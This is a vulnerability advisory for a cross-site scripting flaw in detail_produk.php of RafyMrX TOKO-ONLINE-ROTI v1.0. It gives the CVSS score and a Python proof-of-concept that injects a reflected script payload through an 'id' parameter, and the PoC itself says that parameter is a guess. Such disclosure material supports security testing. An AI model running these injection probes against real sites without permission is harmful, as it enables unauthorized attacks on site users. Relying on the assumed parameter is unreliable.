Cross Site Scripting vulnerability in RafyMrX TOKO-ONLINE-ROTI v.1.0 allows a remote attacker to execute arbitrary code via the detail_produk.php component
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
RafyMrX TOKO-ONLINE-ROTI 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Proof of Concept for CVE-2026-38940
# Target: RafyMrX TOKO-ONLINE-ROTI v1.0
# Component: detail_produk.php
def check_xss(target_base_url):
# Common XSS payload to test execution
payload = "<script>alert('CVE-2026-38940_POC');</script>"
# The vulnerable parameter is not explicitly named, assuming a generic query param
# based on the detail_produk.php component.
# Example: http://target.com/detail_produk.php?id=<payload>
inject_url = f"{target_base_url}/detail_produk.php?id={payload}"
try:
response = requests.get(inject_url, timeout=5)
# Check if the payload is reflected unfiltered in the response
if payload in response.text:
print(f"[+] Potential XSS found at: {inject_url}")
print(f"[+] Payload reflected in response.")
else:
print("[-] Payload not reflected or filtered.")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
target = "http://localhost" # Replace with actual target
check_xss(target)